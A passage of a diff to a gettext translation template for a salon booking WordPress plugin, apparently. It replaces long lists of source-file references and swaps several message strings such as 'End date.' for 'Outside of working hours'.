build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:184\n-msgid \"End date.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236\n+msgid \"Outside of working hours\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:203, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:232, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:261, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191, src\u002FSLB_API\u002FController\u002FServices_Controller.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:203, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:232, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:232, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:144\n-msgid \"Shop ID for multi-shop filtering (0 = all shops).\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:216\n+msgid \"over activated\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:828, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:498, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205, src\u002FSLB_API\u002FController\u002FServices_Controller.php:349, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:338, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:841, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:468, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:828, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:498, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:338, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:841, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:828, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:498, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:338, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:841, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:299, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:828, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:475, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:338, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:841, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:828, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:338, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:841, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:828, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:338, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:841, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:203, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:303\n-msgid \"Sorry, resource already exists.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1045\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:307\n+msgid \"overdue\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:934, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:954, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1004, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1017, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:540, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:562, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:592, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261, src\u002FSLB_API\u002FController\u002FServices_Controller.php:374, src\u002FSLB_API\u002FController\u002FServices_Controller.php:395, src\u002FSLB_API\u002FController\u002FServices_Controller.php:420, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:363, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:380, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:405, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:947, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:967, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1017, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1030, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:494, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:516, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:546, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:604, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:686, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:722, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:934, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:954, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1004, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:540, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:562, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:592, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:395, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:420, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:363, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:380, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:405, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:947, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:967, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1030, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:494, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:516, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:546, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:604, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:686, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:722, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367, 